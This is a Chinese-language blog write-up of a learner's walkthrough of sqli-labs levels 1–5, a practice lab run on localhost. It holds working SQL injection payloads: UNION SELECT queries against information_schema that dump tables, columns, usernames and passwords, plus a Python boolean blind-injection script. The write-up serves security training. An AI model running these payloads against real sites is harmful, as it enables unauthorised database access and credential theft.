0%

sqli-labs闯关记录

理论

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,其核心原理是:攻击者通过在用户输入的参数中插入恶意 SQL 代码,破坏原有 SQL 查询的结构,使数据库执行非预期的操作(如查询敏感数据、修改数据甚至删除数据库等)。

简单来说,就是后台程序没有对用户输入进行严格过滤,直接将用户输入拼接到 SQL 语句中执行,导致攻击者可以控制最终执行的 SQL 代码。

实操

举例一个SQL查询语句

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '用户输入的密码';

SQL注入往服务器传参就是从WHERE开始,以username为参数,像这里username为'admin' or '1'='1',永真条件,会返回所有用户数据

sqli-labs1

image-20260114181659979

1’ 报错,说明是字符型注入

原语句猜测是

1
select * from users where id='1''          #这里多一个',导致语法错误,所以他一定是字符型

接下来爆列数

用order by确定列数

order by 4 时报错,说明有三列

image-20260114181920562

1
1' order by 4 --+

使用联合查询union查询版本号

这里有个细节,得换成-1,id=-1本身是一个永假值,所以不会显示结果,只会显示union查询后的结果

image-20260114182326032

1
id=-1' union select 1,database(),3 --+

image-20260115002317313

成功查询到版本号,这里用#也可以,但是#必须进行一次url编码,直接#会报错

1
id=-1' union select 1,2,version()%23  %23是#url编码后

同时查询到了数据库名 security 和版本号 5.5.29,然后接下来根据库名查表名

image-20260115003822631

1
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

group_concat可以显示所有表名,如果直接使用table_name,就只会显示第一个表,然后直接锁定users表,套payload,把tables换成columns,把table_shema换成table_name

image-20260115004642797

1
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

这里能看到username和password两个字段,然后对其进行注入

得到了很敏感的信息

image-20260115004939728

sqli-labs2

看报错判断是数字型注入,这里的报错是无法显示数据,说明是语法错误,多了个’

image-20260115005418020

因为order by4的时候报错,确定列数是3

image-20260114181455862

因为id为数字型再输入1就会多占用一行,所以这里把id设置成-1或者0,避免占位,直接显示union后的注入结果

image-20260115005658830

1
-1 union select 1,2,database() --+

然后查表名

image-20260115010134417

1
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列名

image-20260115010322956

1
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查字段

image-20260115010422061

sql-labs3

输入id=1’,报错了一个括号,没闭合,但能判断是字符型注入

image-20260115010953280

那就多加个右括号,后面注释掉

image-20260115011058235

1
id=1') --+

然后继续套数据库

image-20260115011223843

1
id=-1') union select 1,2,database() --+

image-20260115011407150

后面还是一样,前面多加个)就好了

1
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查列

image-20260115011626685

1
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查字段

image-20260115011733592

sql-labs4

image-20260116002414789

试了一下发现是”)闭合,在输入1和1’测试时均正常回显,此时判断sql语句是

1
select * from 表名 where id="1'" 这里因为是单独的单引号,sql会判断他是一个字符串常量,自动停止转换,所以能够正常显示id为1的结果

然后多一个”就可以引起语法报错并且爆出语法错误点

看到右边还有括号错误,所以传参时还要闭合右侧的括号,sql语句变成

1
select * from 表名 where id=("id=1"") limit 0,1) --+

那就多加一个括号,再闭合右侧的语句,看到查询成功

image-20260116004120537

后序就是公式化,查表名,不一一演示了,跟前几题一样,只是前面改了

1
2
3
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  //查表
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ //查字段
id=-1") union select 1,2,group_concat(id,username,password) from users --+ //查字段

sql-labs5

这关没了报错语法提示,要用到盲注了

image-20260116005331099

然后试数据库长度

image-20260116010443887

这里错了,所以没有显示结果,但因为这里是靶场,数据库名是固定的security,直接改长度为8

1
id=1' and length((select database()))=8 --+

但是盲注一般是要写脚本的,手搓进行盲注非常耗时间耗力气,自己脚本能力不是很好,将就着写,用python判断

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://localhost/sqli/Less-5/?id={}"

for char in range(1,9):
payload="1' and length((select database()))="+str(char)+"--+"
res=requests.get(url.format(payload))
if("You are in..........." in res.text):
print(res.text)
print("Length of database name is:",char)
break

image-20260116010616647

可以看到给了个回显结果,You are in .......,提示盲注结果是对的

然后继续猜测,这里知道数据库名,所以直接设置的115

image-20260116012011513

1
id=1' and ascii(substr((select database()),1,1))=115 --+ //从数据库的第一个字符开始判断,ASCII表第115个字符是s,对应security的第一个字母

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
url="http://localhost/sqli/Less-5/?id={}"
charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def db_length():
for char in range(1,9):
payload="1' and length((select database()))="+str(char)+"--+"
res=requests.get(url.format(payload))
print(url.format(payload))
if("You are in..........." in res.text):
print(res.text)
print("Length of database name is:",char)
return char

def db_name():
name=""
for i in range(1,db_length()+1):
for j in charset:
payload=f"1' and ascii(substr((select database()),{i},1))={ord(j)} --+"
res=requests.get(url.format(payload))
if("You are in..........." in res.text):
print(res.text)
name +=j
print(f"第{i}位匹配成功,是{j}")
print(name)
return name


if __name__=='__main__':
db_long=db_length()
db_name=db_name()